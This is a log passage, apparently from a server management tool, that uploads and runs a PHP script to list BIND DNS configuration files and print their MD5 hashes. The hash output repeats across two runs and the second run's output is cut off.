MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:25:44: Establishing a connection
2026-05-15 17:25:44: 

PUT: /tmp/pkp969455

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:25:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp969455; rm /tmp/pkp969455'

2026-05-15 17:25:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:25:46: Establishing a connection
2026-05-15 17:25:46: 

PUT: /tmp/pkp772967

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:25:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp772967; rm /tmp/pkp772967'

2026-05-15 17:25:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
